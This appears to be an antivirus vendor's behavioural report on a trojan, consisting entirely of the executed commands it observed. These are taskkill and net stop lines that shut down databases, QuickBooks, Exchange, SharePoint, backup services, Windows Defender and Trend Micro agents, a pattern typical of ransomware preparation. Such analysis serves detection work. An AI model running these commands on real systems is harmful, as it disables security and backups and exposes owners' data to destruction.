Trojan.Siggen10.36900

Technical Information

Malicious functions

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im mysql*
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2644"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1592"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3060"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2624"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1032"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1284"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2924"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2652"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2680"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2656"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1612"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2088"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1332"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2236"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1256"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1620"
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB25
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB24
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB23
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB22
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB21
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB19
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB20
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB12
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB13
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB14
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB15
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2396"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2400"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2548"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2940"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3128"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3080"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3088"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3096"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3104"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1956"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1980"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2584"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2552"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2752"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1812"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2696"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2632"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2312"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2504"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2360"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2800"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1672"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2392"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2640"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1596"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2368"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2996"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2716"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1716"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "1444"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2932"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "2620"
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3120"
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB16
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB17
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB18
'%WINDIR%\syswow64\net.exe' stop SQLWriter
'%WINDIR%\syswow64\net.exe' stop ReportServer$ISARS
'%WINDIR%\syswow64\net.exe' stop SQLBrowser
'%WINDIR%\syswow64\net.exe' stop SQLAgent$MSFW
'%WINDIR%\syswow64\net.exe' stop SQLAgent$ISARS
'%WINDIR%\syswow64\net.exe' stop MSSQL$MSFW
'%WINDIR%\syswow64\net.exe' stop MSSQL$ISARS
'%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100
'%WINDIR%\syswow64\taskkill.exe' /f /im copy*
'%WINDIR%\syswow64\taskkill.exe' /f /im store.exe
'%WINDIR%\syswow64\taskkill.exe' /f /im sql*
'%WINDIR%\syswow64\taskkill.exe' /f /im vee*
'%WINDIR%\syswow64\taskkill.exe' /f /im wrsa*
'%WINDIR%\syswow64\taskkill.exe' /f /im wrsa.exe
'%WINDIR%\syswow64\taskkill.exe' /f /im postg*
'%WINDIR%\syswow64\taskkill.exe' /f /im sage*
'%WINDIR%\syswow64\taskkill.exe' /f /im robo*
'%WINDIR%\syswow64\taskkill.exe' /f /im black*
'%WINDIR%\syswow64\taskkill.exe' /f /im bes10*
'%WINDIR%\syswow64\taskkill.exe' /f /im IBM*
'%WINDIR%\syswow64\taskkill.exe' /f /im CNTAoSMgr*
'%WINDIR%\syswow64\taskkill.exe' /f /im iVPAgent*
'%WINDIR%\syswow64\taskkill.exe' /f /im dsa*
'%WINDIR%\syswow64\taskkill.exe' /f /im Ntrtscan*
'%WINDIR%\syswow64\taskkill.exe' /f /im ds_monitor*
'%WINDIR%\syswow64\taskkill.exe' /f /im Notifier*
'%WINDIR%\syswow64\taskkill.exe' /f /im TmListen*
'%WINDIR%\syswow64\net.exe' stop WinDefend
'%WINDIR%\syswow64\net.exe' stop mr2kserv
'%WINDIR%\syswow64\net.exe' stop MSExchangeADTopology
'%WINDIR%\syswow64\net.exe' stop MSExchangeFBA
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB10
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB9
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB8
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB7
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB6
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB5
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB4
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB3
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB2
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB1
'%WINDIR%\syswow64\net.exe' stop "Simply Accounting Database Connection Manager"
'%WINDIR%\syswow64\net.exe' stop "IBM Domino Diagnostics(CProgramFilesIBMDomino)"
'%WINDIR%\syswow64\net.exe' stop "IBM Domino Server(CProgramFilesIBMDominodata)"
'%WINDIR%\syswow64\net.exe' stop QBVSS
'%WINDIR%\syswow64\net.exe' stop QBPOSDBServiceV12
'%WINDIR%\syswow64\net.exe' stop QBCFMonitorService
'%WINDIR%\syswow64\net.exe' stop ibmiasrw
'%WINDIR%\syswow64\net.exe' stop firebirdguardiandefaultinstance
'%WINDIR%\syswow64\net.exe' stop SPUserCodeV4
'%WINDIR%\syswow64\net.exe' stop SPWriterV4
'%WINDIR%\syswow64\net.exe' stop SPSearch4
'%WINDIR%\syswow64\net.exe' stop IISADMIN
'%WINDIR%\syswow64\net.exe' stop SPTraceV4
'%WINDIR%\syswow64\net.exe' stop SPTimerV4
'%WINDIR%\syswow64\net.exe' stop SPAdminV4
'%WINDIR%\syswow64\net.exe' stop ShadowProtectSvc
'%WINDIR%\syswow64\net.exe' stop MSExchangeSA
'%WINDIR%\syswow64\net.exe' stop MSExchangeIS
'%WINDIR%\syswow64\net.exe' stop QuickBooksDB11
'%WINDIR%\syswow64\taskkill.exe' /f /PID "3112"